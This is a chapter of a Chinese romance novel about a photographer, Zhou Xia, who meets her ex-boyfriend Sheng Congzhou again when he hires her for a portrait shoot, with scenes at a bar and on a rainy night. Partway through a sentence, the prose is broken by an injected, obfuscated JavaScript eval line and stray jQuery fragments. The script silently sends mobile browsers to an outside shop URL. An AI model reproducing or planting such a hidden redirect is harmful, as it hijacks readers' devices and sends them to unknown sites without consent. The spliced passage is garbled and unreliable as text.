九月，北城。
周夏刚从外景地赶回来，裤脚上还沾着草坪的泥，梁帆就催着她去会议室，在路上只跟她说了句“甲方点名要你拍”，别的死活不肯透露。
“到底谁啊？”周夏一边走一边翻拍摄计划表。
梁帆看她一眼，“华盛集团的盛总。”
周夏心里咯噔了一下，熟悉的集团，熟悉的姓氏。
会议室门口，阳光从玻璃墙透过去，她看见会议室里坐着一个男人，侧脸，深灰色西装，手边放着一杯没怎么喝的美式。
她脚步顿住了。
盛从舟。
心跳像被人猛地攥了一下，随即开始不争气地加速。
七年了。
她以为这辈子都不会再见到的人，就这么毫无征兆地出现在她工作的地方。
“愣着干嘛？”梁帆推了她一把。
周夏深吸一口气，推门进去，她选了一个离他最远的位置坐下，把相机包放在两人之间的桌面上，像竖起一道屏障。
“盛总。”她开口，声音比自己预想的要稳，“拍宣传照？什么类型的。”
盛从舟抬起头看她。
他的目光从她脸上缓缓滑过，像是要把这七年的变化一点一点看清楚。
周夏被他看得手心出汗，但没有躲。
“人像。”他说，声音比记忆里低了一些。
“什么时候？”
“明天”
“好。”周夏翻开本子记了一笔，站起来。
从头到尾，她没有多看他一眼。
走出会议室的那一刻，她才发现自己后背都是冷汗。
身后传来椅子轻轻移动的声音，她没有回头，快步离开会议室。
站在会议室门口周夏透着玻璃看过去，他瘦了，下颌线比以前更分明。
这是她在一秒钟之内就看清楚了。
突然，会议室门被拉开。
周夏猛地睁眼。
盛从舟站在门口，手里拿着一个文件夹，看见她在门口，挑了一下眉。
“忘了给你，拍摄需求。”他把文件夹递过来。
周夏接过，指尖碰到他的手指，温度一触即离。
“谢谢盛总。”她这一次没有再看他的眼睛，扭头往办公室走去。
回到办公室，周夏把文件夹扔在桌上，整个人靠在椅背里发呆。
手机亮了，是沈青柠的消息：“听说你见到那谁了？感觉怎么样？”
消息传得真快，肯定是梁帆说的。
周夏打了两个字又删掉，反复几次，最后回了一个：“活着。”
沈青柠秒回：“废话，我问你心里什么感觉。”
什么感觉？
周夏看着天花板，想了很久。
像被人从平静的水底猛地拽到岸上，空气很烫，太阳很刺眼，一切都不舒服。
她本来过得挺好的。
半年前回国，和朋友合伙开了摄影工作室，专拍人像和婚纱。生意虽然不大，但够养活自己。忙起来从早拍到晚，闲的时候就窝在家里修图，偶尔被母亲催婚，烦是烦了点，但都不算大事。
她以为自己已经把盛从舟妥帖地收进了某个角落，落上锁，不会再翻出来了。
可是那个人只要出现，锁就形同虚设。
周夏烦躁地抓了抓头发，打开那个文件夹。
第一页是公司简介。
盛氏集团，旗下涵盖地产、酒店、文旅、影视……盛从舟接任CEO两年，需要一组个人形象宣传照。
周夏翻到第二页，僵住了。
那不是打印的表格。
是一张手写的便签，字迹她再熟悉不过——
“明天见，别迟到。”
龙飞凤舞的四个字，没有落款。
她把便签撕下来揉成一团，扔进垃圾桶。
三秒钟后又弯腰捡了起来，装进口袋里。
下一秒，梁帆推门进来。
一脸吃瓜的模样，坐到周夏对面问她，“所以盛总真是你前男友？”
周夏看了一眼她，八成是沈青柠告诉她的。
她点了点头，眼里无光：“这单能不接吗？”
梁帆立马按住她的手，在她眼前竖了三根手指头，“不能，盛总给了三倍的酬劳。而且——”她顿了一下，“上个月那两个大单黄了，房租还没凑齐。”
周夏闭上了嘴。
刚起步的工作室没有挑客户的资格，再怎么也不能和钱过不去。
-
下班后，不想回家的周夏直接给沈青柠打电话要去喝酒。
去酒吧的路上，周夏靠在网约车后排，闭着眼睛，脑子里挥之不去的，是上午会议室里盛从舟看她的那个眼神。
还有七年前那个雨天。
雨是从她说第一句话开始变大的。
“盛从舟，”她站在宿舍楼下，雨水顺着她的头发往下淌，“你家里会给你安排联姻吗？”
他站在她对面，隔着两步的距离，他没有撑伞。
“不知道。”他说。
她等了一会儿，等他继续说下去。
等他说“不会”，等他说“我会处理”，等他说“你别胡思乱想”，哪怕他走过来，再靠近她一点，她都觉得够了。
但他什么都没说。也没动。
雨水糊了她一脸，她看不清他的表情，她忽然觉得，看不清也好。
“那我们算什么？”她听到自己的声音，比雨声还轻。
他还是没有说话。
那一刻她明白了：他不是不知道，是他觉得没必要跟她说。
因为她的意见不重要，她只是暂时的。
车停了，周夏睁开眼，外面不知道什么时候下起了雨。
酒吧卡座里，沈青柠早早的点好酒等周夏。
周夏坐到她旁边，拿起她刚倒好酒，直接一口闷。
沈青柠看着周夏灌完第三杯威士忌，终于忍不住按住她的杯子。
“行了，你明天不是还有拍摄吗，不上班了？”
“我也想啊，主要他是甲方。”周夏冷笑一声，“他还真成了我甲方。”
“前任变甲方。”沈青柠拿起酒杯轻抿了一口，“所以他不只是来拍照的，对吧？”
周夏没说话，过了一会儿，她从口袋里拿出那张被揉皱又展平的便签，推到沈青柠面前。
沈青柠看了一眼，叹了口气：“他这是明摆着告诉你，他不是来拍照的。”
“那他来干嘛？我们分手七年了，他当初……算了。”
周夏把便签收回来，折了两折，塞进手机壳背面。
“那你俩现在算什么关系？就单纯的甲乙方？”
“不然呢。”周夏看了一眼她，露出一抹苦涩的笑，“我们俩除了甲乙方还能有什么关系。”
还能有什么关系，除了前任的关系，还有就是甲乙方。
周夏盯着冰球开始恍惚了，转动的冰球犹如走马灯一样，将那段藏在心底最深处的过往再次被翻了出来。
她没注意到，冰球在杯里慢慢停了，就像那段她以为早就停下来的过去，其实从没真正转过弯。
沈青柠盯着她：“那你还喜欢他吗？”
周夏握住手里的酒，笑了一下说：“不熟”
说完，来回摩挲酒杯的手突然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608885|205847||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
捏紧了几分。
……
隔壁卡座
盛从舟听到了周夏这句话，手中的动作一顿，哼笑了一声，“白疼了……”
“伤心了？”傅澄阳搭上他的肩。
“滚。”盛从舟用胳膊肘把人推开，“谁让你叫我的？”
“得了吧，我要不叫你，你能十分钟就飚过来？”傅澄阳笑得意味深长。
这是傅澄阳的酒吧，他看到周夏的一秒立马给盛从舟打电话，把他叫了过来。
盛从舟没理他，继续喝酒。
酒吧里灯光昏沉，舞池里的音乐震得人胸腔发闷，说话的声音被音乐盖住，只能隐隐约约听到一些。
突然，傅澄阳推了他一把：“周夏要走了。”
盛从舟没动，只是抬眼朝那边看了一眼。
周夏正拿起包起身，沈青柠拉着她说了句什么，她摇摇头，笑了一下，那笑容在暧昧的灯光里显得有些敷衍，也有些疲惫。
等周夏快走到门外，盛从舟说：“走了，没意思。”
说着他站起来，把外套搭在肩上，绕出了卡座。
路过隔壁的时候，他的脚步顿了顿。
那个位置已经空了，桌上还剩半杯没喝完的酒，杯壁上沾着淡淡的口红印，像是一个潦草的句号。
忽然想起以前她喝酒，总是用同一根吸管。
那时候她说：“这样算间接接吻，你赚了。”
他没再看，径直朝门口走去。
周夏随手拦下一辆出租车坐了上去。
雨比来时大了些，雨水顺着车窗往下淌，把路灯的光拉成模糊的橘黄色长条。
她靠在车窗上，脑海里一直是那句“你还喜欢他吗”，还有她自己说的那两个字：不熟。
不熟？她在心里重复了一遍，觉得好笑。
如果是不熟的人，她不会一眼就认出那个背影。
七年前分手那天，也是这样的雨天。她记得是自己和盛从舟提的分手，当晚她做了更决绝的事情。
在她沉默的一分钟里，周夏已经想好了一切，抬起头看着他，“我们分手吧。”
回到家中，情绪上头的她，把他所有的联方式都删了，没有给自己留回头的余地。
后来她出了国。
出租车停在小区门口。
周夏下车，雨水扑在脸上，有点凉，她正准备转身——
一辆黑色奔驰。
京A·7S827。
她盯着那串数字，像被人按下了暂停键。七年前倒背如流的号码，七年后还是一眼就认出来了。
她的目光从车牌上移开，车窗玻璃是深色的，看不见里面。
但她知道，他一定在看。
她攥了攥掌心，转身往小区里走，就当没看见。
身后，那辆车没有动。
电梯里的灯照得她脸色发白。她按了楼层，电梯门缓缓关上。
回到家里，她换了鞋，没开灯，走到窗边，掀起窗帘的一角。
楼下那辆车还在。
车灯没有开，只有小区路灯的光落在车顶上，把黑色的漆面照出一层冷白。
她站在窗帘后面，没有动。
不知道过了多久，她看到那束车灯亮了一下，像是最后确认她到家了，然后熄灭。
车子缓缓驶离，尾灯的红光在雨夜里慢慢变小，最后消失在路口。
周夏拉上窗帘。
她在黑暗中站了一会儿，然后转身去洗澡。
水声很大，盖住了其他所有声音。
花洒的水从头顶浇下来，热得烫皮肤。她闭着眼，分不清脸上是水还是别的什么。